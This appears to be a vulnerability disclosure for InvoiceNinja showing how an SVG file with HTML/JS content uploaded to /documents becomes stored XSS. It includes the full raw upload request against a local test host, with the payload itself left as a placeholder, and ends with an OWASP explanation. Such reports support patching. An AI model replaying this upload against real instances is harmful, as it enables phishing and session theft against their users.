In recent InvoiceNinja version (9d7145c) in /documents it is possible to store svg file with html/js content, which later can be used to phish other users
POST /documents HTTP/1.1
Host: 172.17.0.1:8888
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------300959455021219094302820715478
Content-Length: 4489
X-CSRF-TOKEN: XSsl95vSUFGZZo1G6B3sykTJTQdhNhtQnqtjoAax
X-Requested-With: XMLHttpRequest
Content-Length: 4489
Origin: http://172.17.0.1:8888
DNT: 1
Connection: close
Referer: http://172.17.0.1:8888/invoices/1/edit
Cookie: XSRF-TOKEN=eyJpdiI6Ik52dWlvNzlXbEpmU3RvbW1uS1Nsc0E9PSIsInZhbHVlIjoiS1R6MUJvb3FmYm1YM1BMYnRCbisxUHEwRHI4V0J1blBScGJSWlZVR3V4NUxJUUpcL1pHM2dQZUh0Y1k1aVpXOFUrRlFnVzJMMmNIVnZhdlpuRjA0VDFGN1QxRlR6cXFaM2tNellzZHVsNVhEOWxjZnpWXC9SN01Zb3Z2RzVZb3dkWSIsIm1hYyI6IjNlNGEwM2NhOTk0NjQxYTYwNzA3ZmQ3ZjIzNTg1OWNjNmQ0NjdiODRhY2M0YjUwYzBmY2U3ZWY1ZGY3NzAzZGEifQ%3D%3D; ninja_session=eyJpdiI6IkpGV2JEN3c5Z1VMZkJobThBeTJhOGc9PSIsInZhbHVlIjoiUjh5VEdnanhcL003ZENPeWp5Q1pDOUQxN2hDbjZYcnpJT1lma2xtVmdcL0JxXC9LcXhPMURYNUhseWVGeTZyU28wR1FpbUNEa2JlYURYcXlLS1lJa2F1OTRnUkVjY3RzVUxwXC93OEt0MW9vaWxtTWVDdFVlRUl3Q0cyS1ZSTXBYSExMIiwibWFjIjoiM2QyNWE0NDExYmE3NzhhNmMxNDhmNjE1MmVkODRkZTFmZWZmMWM0YjVhZmRkOWM3ODBjZTI2ZDcwYWMwNWVmYyJ9; cookieconsent_status=dismiss
-----------------------------300959455021219094302820715478
Content-Disposition: form-data; name="_token"
VUGoBgaUdmFPvl3XRKJLUaLJc5ETKEkhGinTNE3t
-----------------------------300959455021219094302820715478
Content-Disposition: form-data; name="file"; filename="ssa.svg"
Content-Type: text/html
[PHISHING_CONTENT_CODE]
-----------------------------300959455021219094302820715478--
After this You can visit url received in response http://172.17.0.1:8888/documents/{document_id}
FROM OWASP:: An attacker can use XSS to send a malicious script to an unsuspecting user. The end userβs browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site.